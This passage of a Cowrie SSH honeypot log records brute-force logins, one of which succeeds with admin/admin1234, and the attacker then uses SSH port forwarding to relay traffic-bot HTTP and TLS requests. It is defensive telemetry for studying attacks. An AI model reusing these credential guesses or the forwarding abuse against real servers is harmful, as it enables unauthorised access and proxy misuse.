{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:10.835473Z","src_ip":"103.149.28.157","session":"dc2fa00154fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":43952,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dad9b2e2694","protocol":"ssh","message":"New connection: 37.233.85.71:43952 (10.17.0.5:22) [session: 8dad9b2e2694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:10.968998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:10.973360Z","src_ip":"37.233.85.71","session":"8dad9b2e2694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:11.081810Z","src_ip":"37.233.85.71","session":"8dad9b2e2694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16798,"dst_ip":"159.203.135.109","dst_port":22,"session":"f931298212f2","protocol":"ssh","message":"New connection: 91.92.40.36:16798 (159.203.135.109:22) [session: f931298212f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:11.201814Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"chegevara","message":"login attempt [root/chegevara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:11.408552Z","src_ip":"37.233.85.71","session":"8dad9b2e2694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62406,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea9497d309e3","protocol":"ssh","message":"New connection: 113.164.152.20:62406 (10.17.0.5:22) [session: ea9497d309e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:11.973096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:11.978446Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:12.273966Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:12.514228Z","src_ip":"91.92.40.36","session":"b0a8d2191618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:12.518425Z","src_ip":"37.233.85.71","session":"8dad9b2e2694","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:12.759021Z","src_ip":"91.92.40.36","session":"f931298212f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:12.762074Z","src_ip":"91.92.40.36","session":"f931298212f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:14.745688Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:15.228029Z","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:15.454591Z","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:15.843729Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5.1 Mobile/18E212 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dTNtcGJNZnYpYz5yKytjRA%3D%3DdqsjtUh8ZGCzF%2B7ueLl2c7o21D9lAXIFihz%2FY%2F33NSr10Jq63k1WWQ%2BxcFeqBEWDKP7WJln7Idi27A%2BSj0fscnl2JnDWAlN0L%2B%2BLGk2B8k%2B0tYkMPjBn%2F7agSxcbLKV6UjDJjjik4kIXVEJNUhmMmRTcd5MNh%2BLdNg3wl%2FDzccWa6%2FRlS4hKPeuNu3jq9t9iWzQ3c68gYP3xa6w5tzhu0FPLFwBxQY88NiazmBQ6WAP2u%2BR4Xwko4InVqKUO0DTOiDo%2Fl%2B6%2FaLMue9kYbEVjcm6TCNoKxox3kPAoY7%2BewjNaIWMHHMyNXm38gIiqP06ND6UPaTmiO5PMWqIWCfHeuBCXO2LllIsda5%2FFe0ItUhE5QMm8rBFlYKHjXJrNDsKa%2BbSYHDqkVUqO9jwUlKZeaIA9cd4Ve%2BWXCa169VT2an%2BNe%2Fm3ROg0I0%2FawucKGaMD%2F%2BVzLQwIDzovWQXji6SsFRSocC9kTbtplfBTQtNolzILPg1x5h2%2FB0KCU8EFVmVW8VfXc5SQqgUu%2FG0%2B8GxEy%2BD3CyrCL4mFFyT%2FnVW%2BZv7TpNtm5f7qIaZQ0nV%2BKJtxbwGL2wc6VxXnFoUcw2GN%2BPIdvvbRVbR7lND3dgSSe1pz4VLpG4YXkmp7nLhTlQM9T6azGqq9x7xYeOMRL9jPZjBTUFoyqGS%2F%2F3E2t2ADs0Xs5Z%2BfhEnRB7UxSEFPzG658ILhPKmRnr2dSsKgCcOLlxq4G4w875LzRB33urjG64NEXMpsFWbTzvxigf6k4134bHsQmUAwTc2NrL7RSxWbs1TkL%2B%2F%2BcdF1UWXzIc6V9waXn3HK8cMQ1Og%2FoRI8goH%2B4RJZD7gD9StZH1Dc9NjXgdIiLSfhVkRS0Y4k1rcWye%2FwGr2c2vR4jrqrlFiZ1nXon1bX8j18sdUyPOJF9t2RC344PPINbve90q5OwV5o9WKj66WBDJpe17Xky3IwkneZVN5O72xAfK%2FbIPrvSvQyys78x9XjS%2FYU5vs%2F73vD1RkBGZoprkYyu7EHA%2Fj8wywX3%2Fsmx3UMXSrHwCiB7Vb%2BT9bimSnFar1uYbNbXruqHko%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5.1 Mobile/18E212 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dTNtcGJNZnYpYz5yKytjRA%3D%3DdqsjtUh8ZGCzF%2B7ueLl2c7o21D9lAXIFihz%2FY%2F33NSr10Jq63k1WWQ%2BxcFeqBEWDKP7WJln7Idi27A%2BSj0fscnl2JnDWAlN0L%2B%2BLGk2B8k%2B0tYkMPjBn%2F7agSxcbLKV6UjDJjjik4kIXVEJNUhmMmRTcd5MNh%2BLdNg3wl%2FDzccWa6%2FRlS4hKPeuNu3jq9t9iWzQ3c68gYP3xa6w5tzhu0FPLFwBxQY88NiazmBQ6WAP2u%2BR4Xwko4InVqKUO0DTOiDo%2Fl%2B6%2FaLMue9kYbEVjcm6TCNoKxox3kPAoY7%2BewjNaIWMHHMyNXm38gIiqP06ND6UPaTmiO5PMWqIWCfHeuBCXO2LllIsda5%2FFe0ItUhE5QMm8rBFlYKHjXJrNDsKa%2BbSYHDqkVUqO9jwUlKZeaIA9cd4Ve%2BWXCa169VT2an%2BNe%2Fm3ROg0I0%2FawucKGaMD%2F%2BVzLQwIDzovWQXji6SsFRSocC9kTbtplfBTQtNolzILPg1x5h2%2FB0KCU8EFVmVW8VfXc5SQqgUu%2FG0%2B8GxEy%2BD3CyrCL4mFFyT%2FnVW%2BZv7TpNtm5f7qIaZQ0nV%2BKJtxbwGL2wc6VxXnFoUcw2GN%2BPIdvvbRVbR7lND3dgSSe1pz4VLpG4YXkmp7nLhTlQM9T6azGqq9x7xYeOMRL9jPZjBTUFoyqGS%2F%2F3E2t2ADs0Xs5Z%2BfhEnRB7UxSEFPzG658ILhPKmRnr2dSsKgCcOLlxq4G4w875LzRB33urjG64NEXMpsFWbTzvxigf6k4134bHsQmUAwTc2NrL7RSxWbs1TkL%2B%2F%2BcdF1UWXzIc6V9waXn3HK8cMQ1Og%2FoRI8goH%2B4RJZD7gD9StZH1Dc9NjXgdIiLSfhVkRS0Y4k1rcWye%2FwGr2c2vR4jrqrlFiZ1nXon1bX8j18sdUyPOJF9t2RC344PPINbve90q5OwV5o9WKj66WBDJpe17Xky3IwkneZVN5O72xAfK%2FbIPrvSvQyys78x9XjS%2FYU5vs%2F73vD1RkBGZoprkYyu7EHA%2Fj8wywX3%2Fsmx3UMXSrHwCiB7Vb%2BT9bimSnFar1uYbNbXruqHko%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:15.846855Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:15.850958Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/c\\xa6mP\\x96\\x1dW\\x15\\xbf\\xfb\\xa7\\xbfk\\x07^?u\\x0c\\xea\\x14\\xf0<\\x8aN\\xbf7\\xdc{\\xbfv\\n \\x9e\\xa3\\xfc\\xeb@O\\xb8[\\x8c\\x80\\x89m\\t\\x9e\\xe3\\xfe\\xa3\\x17\\xe2\\xc366\\xc4Z^7\\xdd\\xbf\\x8f\\xbf\\x88\\xf8\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe2\\x1c\\xc0$\\xbe\\xb3S<:\\xe5#\\xc5\\x11\\xca\\t\\xf3\\xa9V\\xa5\\x0bb\\x87f\\xe4=\\xa7\\x01\\x1cH\\x84\\xd6#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/c\\xa6mP\\x96\\x1dW\\x15\\xbf\\xfb\\xa7\\xbfk\\x07^?u\\x0c\\xea\\x14\\xf0<\\x8aN\\xbf7\\xdc{\\xbfv\\n \\x9e\\xa3\\xfc\\xeb@O\\xb8[\\x8c\\x80\\x89m\\t\\x9e\\xe3\\xfe\\xa3\\x17\\xe2\\xc366\\xc4Z^7\\xdd\\xbf\\x8f\\xbf\\x88\\xf8\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe2\\x1c\\xc0$\\xbe\\xb3S<:\\xe5#\\xc5\\x11\\xca\\t\\xf3\\xa9V\\xa5\\x0bb\\x87f\\xe4=\\xa7\\x01\\x1cH\\x84\\xd6#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:15.853621Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:16.133712Z","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:16.410812Z","src_ip":"113.164.152.20","session":"ea9497d309e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032?\\x12C\\x88\\xfc5\\x89\\x8d\\x97\\xdb\\xfa\\x04\\x1cASN\\xdc\\xddHF\\x1eL\\x9fr\\xb3\\x90\\xde\\x9eT\\xa4Z \\xcd\\xb7\\x13\\x97\\x9c3\\x10\\x91\\xa1r\\t\\xdc* \\x1dA\\xb4M\\x8f<\\xc9<\\x90\\xed|F\\x919?\\x14\\xb3\\xc2\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2Z7\\xf1\\xb8 